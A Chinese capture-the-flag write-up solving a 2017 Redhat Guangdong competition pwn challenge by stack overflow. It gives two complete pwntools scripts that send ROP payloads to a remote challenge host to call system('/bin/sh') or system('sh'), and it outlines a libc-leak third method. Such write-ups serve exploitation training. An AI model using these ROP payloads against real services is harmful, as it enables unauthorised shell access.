
首先这道题目是2017 Redhat广东省信息安全竞赛的签到pwn,在使用大佬的快速搭建pwn题框架里发现了一道pwn,这篇文章主要为了提醒自己,以后做题的时候要拓宽思路。。。。
下面是题目下载地址:
大佬的github地址:
https://github.com/giantbranch/pwn_deploy_chroot
先看下程序开启的保护:
第一种解法:
构造简单ROP解决,这种题一般是以下几步:
- 寻找溢出漏洞位置(源程序)
- 寻找system函数(源程序,libc)
- 寻找/bin/sh位置(源程序,libc)
找到scanf这里有溢出漏洞:
在函数列表找到了system函数:
在源程序里没有/bin/sh字符串,可以利用栈溢出控制eip跳到scanf函数,写入/bin/sh字符串,再重新进入函数,跳转到system函数的位置,利用之前写好的/bin/sh来getshell,利用IDA中的ctrl+s打开区段表,查看下RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的shellcode就无法执行。
如上图可以在bss段上写入/bin/sh
利用代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
#!/usr/bin/env python #-*- coding:utf-8 -*- from pwn import * conn = remote('123.206.21.178',10000) print conn.recvline() sys_add=0x80483E0 scanf_add=0x8048410 s_add=0x8048629 sys_bin=0x0804a030 fun_add=0x8048531 payload=52*'a'+p32(scanf_add)+p32(fun_add)+p32(s_add)+p32(sys_bin) conn.sendline(payload) conn.sendline('/bin/sh') payload1=44*'a'+p32(sys_add)+4*'a'+p32(sys_bin) conn.sendline(payload1) conn.interactive() |
详细过程请看
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&extra=page%3D1&page=1
第二种解法
既然没有/bin/sh,那么有其他的字符串可以代替它帮我们拿到shell呢?
答案是有的,一个sh就可以帮我们getshell,测试如下:
首先写一个程序测试下只用sh能不能进入:
用gcc编译并运行:
结果成功
那么我们现在只需要找到sh这个字符串,直接在程序里搜索:
找到了,其实如果源程序使用了flush这个函数,那么就一定有sh这个字符串
那么现在就很省事了,直接system+4*无用字节+sh地址就可以了,脚本如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
#!/usr/bin/env python #-*- coding:utf-8 -*- from pwn import * conn = remote('123.206.21.178',10000) print conn.recvline() sys_add=0x80483E0 sys_bin=0x804828e fun_add=0x8048531 puts_gotadd=0x804A050 puts_pltadd=0x80483D0 payload=52*'a'+p32(sys_add)+4*'a'+p32(sys_bin) print payload conn.sendline(payload) conn.interactive() |
第三种解法
既然源程序里没有/bin/sh,那么用libc里的不就完事了,但是程序没有给libc,但这也难不倒我们,只需要泄露当前函数的真实偏移地址的就可以找到对应的libc版本,从而下载到libc,找到libc的/bin/sh所在位置,根据write_addr - system_addr == write_addr_libc - system_addr_libc从而计算出真实位置而利用
可以使用的在线查找libc网站
https://libc.blukat.me/